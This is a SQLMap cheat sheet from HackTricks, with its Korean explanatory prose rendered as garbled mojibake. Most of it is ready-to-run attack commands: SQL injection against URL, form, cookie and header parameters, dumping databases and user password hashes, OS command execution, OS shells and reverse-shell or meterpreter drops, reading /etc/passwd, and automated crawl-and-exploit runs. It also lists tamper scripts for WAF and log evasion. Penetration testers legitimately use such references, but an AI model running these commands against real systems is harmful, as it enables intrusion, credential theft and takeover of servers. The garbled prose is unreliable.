SQLMap - Cheatsheet

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SQLmap์„ ์œ„ํ•œ ๊ธฐ๋ณธ ์ธ์ž

์ผ๋ฐ˜

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Technique flags (--technique)

--technique ์˜ต์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด sqlmap์ด ํ…Œ์ŠคํŠธํ•  SQL ์ธ์ ์…˜ ๊ธฐ์ˆ ์„ ์ œํ•œํ•˜๊ฑฐ๋‚˜ ์žฌ์ •๋ ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ ๋ฌธ์ž๋Š” ๋‹ค๋ฅธ ์ข…๋ฅ˜์˜ ํŽ˜์ด๋กœ๋“œ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค:

LetterTechniqueDescription
BBoolean-based blindํŽ˜์ด์ง€ ์‘๋‹ต์—์„œ true/false ์กฐ๊ฑด์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ์ถ”๋ก ํ•ฉ๋‹ˆ๋‹ค.
EError-based์ž์„ธํ•œ DBMS ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.
UUNION query๋™์ผํ•œ ์ฑ„๋„์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด UNION SELECT ๋ฌธ์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.
SStacked queriesSQL ๊ตฌ๋ถ„์ž(;)๋กœ ๊ตฌ๋ถ„๋œ ์ถ”๊ฐ€ ๋ฌธ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
TTime-based blind์ฃผ์ž… ๊ฐ€๋Šฅํ•œ ์กฐ๊ฑด์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด SLEEP/WAITFOR ์ง€์—ฐ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค.
QInline / out-of-bandLOAD_FILE() ๋˜๋Š” DNS ์œ ์ถœ๊ณผ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

sqlmap์ด ๋”ฐ๋ฅผ ๊ธฐ๋ณธ ์ˆœ์„œ๋Š” BEUSTQ (๋ชจ๋“  ๊ธฐ์ˆ )์ž…๋‹ˆ๋‹ค. ์ˆœ์„œ์™€ ํ•˜์œ„ ์ง‘ํ•ฉ์„ ๋ชจ๋‘ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ ๋ช…๋ น์€ ์˜ค์ง UNION ์ฟผ๋ฆฌ์™€ Time-based blind ๊ธฐ์ˆ ์„ ์‹œ๋„ํ•˜๋ฉฐ, UNION์„ ๋จผ์ € ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch

์ •๋ณด ๊ฒ€์ƒ‰

๋‚ด๋ถ€

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB ๋ฐ์ดํ„ฐ

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

SQLMapping์„ ์‚ฌ์šฉํ•˜๋ฉด SQLMap์— ๋Œ€ํ•œ ๊ธฐ๋ณธ ๋ฐ ๊ณ ๊ธ‰ ๋ช…๋ น์„ ์ƒ์„ฑํ•˜๊ณ  ์ „์ฒด ๊ฐœ์š”๋ฅผ ์ œ๊ณตํ•˜๋Š” ์‹ค์šฉ์ ์ธ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋„๊ตฌ์˜ ๊ฐ ์ธก๋ฉด์„ ์„ค๋ช…ํ•˜๋Š” ToolTips๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด ๋ชจ๋“  ์˜ต์…˜์„ ์ž์„ธํžˆ ์„ค๋ช…ํ•˜์—ฌ ํšจ์œจ์ ์ด๊ณ  ํšจ๊ณผ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๊ฐœ์„ ํ•˜๊ณ  ์ดํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Injection place

From Burp/ZAP capture

์š”์ฒญ์„ ์บก์ฒ˜ํ•˜๊ณ  req.txt ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

sqlmap -r req.txt --current-user

GET ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com" --data "username=*&password=*"

ํ—ค๋” ๋ฐ ๊ธฐํƒ€ HTTP ๋ฉ”์„œ๋“œ์—์„œ์˜ ์ธ์ ์…˜

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

์ธ์ ์…˜์ด ์„ฑ๊ณตํ–ˆ์„ ๋•Œ ๋ฌธ์ž์—ด ํ‘œ์‹œ

--string="string_showed_when_TRUE"

ํƒ์ง€ ๊ธฐ์ˆ  ์ถ”๊ฐ€

SQLi๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์ง€๋งŒ sqlmap์ด ์ด๋ฅผ ๊ฐ์ง€ํ•˜์ง€ ๋ชปํ•œ ๊ฒฝ์šฐ, --prefix ๋˜๋Š” --suffix์™€ ๊ฐ™์€ ์ธ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํƒ์ง€ ๊ธฐ์ˆ ์„ ๊ฐ•์ œ๋กœ ์ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” ๋” ๋ณต์žกํ•œ ๊ฒฝ์šฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ๋ธ”๋ผ์ธ๋“œ ๊ณต๊ฒฉ์„ ์œ„ํ•ด /usr/share/sqlmap/data/xml/payloads/time_blind.xml์— sqlmap์ด ์‚ฌ์šฉํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ์— ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Eval

Sqlmap์€ -e ๋˜๋Š” --eval์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๊ธฐ ์ „์— ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ „์†กํ•˜๊ธฐ ์ „์— ์‚ฌ์šฉ์ž ์ •์˜ ๋ฐฉ์‹์œผ๋กœ ์‰ฝ๊ฒŒ ๋น ๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ์—์„œ flask cookie session ์€ ์ „์†ก๋˜๊ธฐ ์ „์— ์•Œ๋ ค์ง„ ๋น„๋ฐ€๋กœ flask์— ์˜ํ•ด ์„œ๋ช…๋ฉ๋‹ˆ๋‹ค:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

์…ธ

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

ํŒŒ์ผ ์ฝ๊ธฐ

--file-read=/etc/passwd

SQLmap์œผ๋กœ ์›น์‚ฌ์ดํŠธ ํฌ๋กค๋ง ๋ฐ ์ž๋™ ์ต์Šคํ”Œ๋กœ์ž‡

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

๋‘ ๋ฒˆ์งธ ์ฐจ์ˆ˜ ์ฃผ์ž…

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

์ด ๊ฒŒ์‹œ๋ฌผ ์ฝ๊ธฐ sqlmap์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ„๋‹จํ•˜๊ณ  ๋ณต์žกํ•œ 2์ฐจ ์ฃผ์ž…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค.

์ฃผ์ž… ์‚ฌ์šฉ์ž ์ •์˜

์ ‘๋ฏธ์‚ฌ ์„ค์ •

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

์ ‘๋‘์‚ฌ

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection ์ฐพ๊ธฐ ๋„์›€๋ง

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

๊ธฐ์–ตํ•˜์„ธ์š”, ๋‹น์‹ ์€ ํŒŒ์ด์ฌ์œผ๋กœ ์ž์‹ ์˜ tamper๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. tamper ์˜ˆ์ œ๋Š” Second Order Injection page here์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py์•„ํฌ์ŠคํŠธ๋กœํ”ผ ๋ฌธ์ž๋ฅผ UTF-8 ์ „์ฒด ํญ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
apostrophenullencode.py์•„ํฌ์ŠคํŠธ๋กœํ”ผ ๋ฌธ์ž๋ฅผ ๋ถˆ๋ฒ•์ ์ธ ์ด์ค‘ ์œ ๋‹ˆ์ฝ”๋“œ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
appendnullbyte.pyํŽ˜์ด๋กœ๋“œ ๋์— ์ธ์ฝ”๋”ฉ๋œ NULL ๋ฐ”์ดํŠธ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
base64encode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ Base64๋กœ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค.
between.pyโ€˜>โ€™ ์—ฐ์‚ฐ์ž๋ฅผ โ€™NOT BETWEEN 0 AND #โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
bluecoat.pySQL ๋ฌธ์žฅ ๋’ค์˜ ๊ณต๋ฐฑ ๋ฌธ์ž๋ฅผ ์œ ํšจํ•œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ โ€˜=โ€™ ๋ฌธ์ž๋ฅผ LIKE ์—ฐ์‚ฐ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
chardoubleencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ์ด์ค‘ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
commalesslimit.pyโ€™LIMIT M, Nโ€™๊ณผ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™LIMIT N OFFSET Mโ€™์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
commalessmid.pyโ€™MID(A, B, C)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™MID(A FROM B FOR C)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
concat2concatws.pyโ€™CONCAT(A, B)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™CONCAT_WS(MID(CHAR(0), 0, 0), A, B)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
charencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
charunicodeencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). โ€œ%u0022โ€
charunicodeescape.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). โ€œ\u0022โ€
equaltolike.pyโ€˜=โ€™ ์—ฐ์‚ฐ์ž์˜ ๋ชจ๋“  ๋ฐœ์ƒ์„ โ€˜LIKEโ€™ ์—ฐ์‚ฐ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
escapequotes.py๋”ฐ์˜ดํ‘œ(โ€™ ๋ฐ โ€œ)๋ฅผ ์Šฌ๋ž˜์‹œ๋กœ ์ด์Šค์ผ€์ดํ”„ํ•ฉ๋‹ˆ๋‹ค.
greatest.pyโ€˜>โ€™ ์—ฐ์‚ฐ์ž๋ฅผ โ€˜GREATESTโ€™ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
halfversionedmorekeywords.py๊ฐ ํ‚ค์›Œ๋“œ ์•ž์— ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
ifnull2ifisnull.pyโ€™IFNULL(A, B)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™IF(ISNULL(A), B, A)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
modsecurityversioned.py๋ฒ„์ „์ด ์žˆ๋Š” ์ฃผ์„์œผ๋กœ ์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
modsecurityzeroversioned.py์ œ๋กœ ๋ฒ„์ „ ์ฃผ์„์œผ๋กœ ์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
multiplespaces.pySQL ํ‚ค์›Œ๋“œ ์ฃผ์œ„์— ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๊ณต๋ฐฑ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
nonrecursivereplacement.py๋ฏธ๋ฆฌ ์ •์˜๋œ SQL ํ‚ค์›Œ๋“œ๋ฅผ ๋Œ€์ฒด์— ์ ํ•ฉํ•œ ํ‘œํ˜„์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: .replace(โ€œSELECTโ€, โ€œโ€) ํ•„ํ„ฐ).
percentage.py๊ฐ ๋ฌธ์ž ์•ž์— ๋ฐฑ๋ถ„์œจ ๊ธฐํ˜ธ(โ€˜%โ€™)๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
overlongutf8.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
randomcase.py๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋ฌด์ž‘์œ„ ๋Œ€์†Œ๋ฌธ์ž ๊ฐ’์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
randomcomments.pySQL ํ‚ค์›Œ๋“œ์— ๋ฌด์ž‘์œ„ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
securesphere.pyํŠน๋ณ„ํžˆ ์ œ์ž‘๋œ ๋ฌธ์ž์—ด์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
sp_password.pyํŽ˜์ด๋กœ๋“œ ๋์— โ€™sp_passwordโ€™๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ DBMS ๋กœ๊ทธ์—์„œ ์ž๋™์œผ๋กœ ๋‚œ๋…ํ™”ํ•ฉ๋‹ˆ๋‹ค.
space2comment.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์ฃผ์„์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2dash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋Œ€์‹œ ์ฃผ์„(โ€™โ€“โ€˜)์œผ๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2hash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2morehash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2mssqlblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2mssqlhash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2mysqlblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2mysqldash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋Œ€์‹œ ์ฃผ์„(โ€™โ€“โ€˜)์œผ๋กœ ๋Œ€์ฒดํ•˜๊ณ  ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2plus.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋”ํ•˜๊ธฐ ๊ธฐํ˜ธ(โ€™+โ€™)๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2randomblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
symboliclogical.pyAND ๋ฐ OR ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž๋ฅผ ๊ทธ๋“ค์˜ ๊ธฐํ˜ธ ๋Œ€์‘๋ฌผ(&& ๋ฐ
unionalltounion.pyUNION ALL SELECT๋ฅผ UNION SELECT๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
unmagicquotes.py๋”ฐ์˜ดํ‘œ ๋ฌธ์ž(โ€™)๋ฅผ ๋‹ค์ค‘ ๋ฐ”์ดํŠธ ์กฐํ•ฉ %bf%27๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋์— ์ผ๋ฐ˜ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค(์ž‘๋™ํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด).
uppercase.py๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋Œ€๋ฌธ์ž ๊ฐ’ โ€™INSERTโ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
varnish.pyHTTP ํ—ค๋” โ€™X-originating-IPโ€™๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
versionedkeywords.py๊ฐ ๋น„ํ•จ์ˆ˜ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
versionedmorekeywords.py๊ฐ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
xforwardedfor.py๊ฐ€์งœ HTTP ํ—ค๋” โ€™X-Forwarded-Forโ€™๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ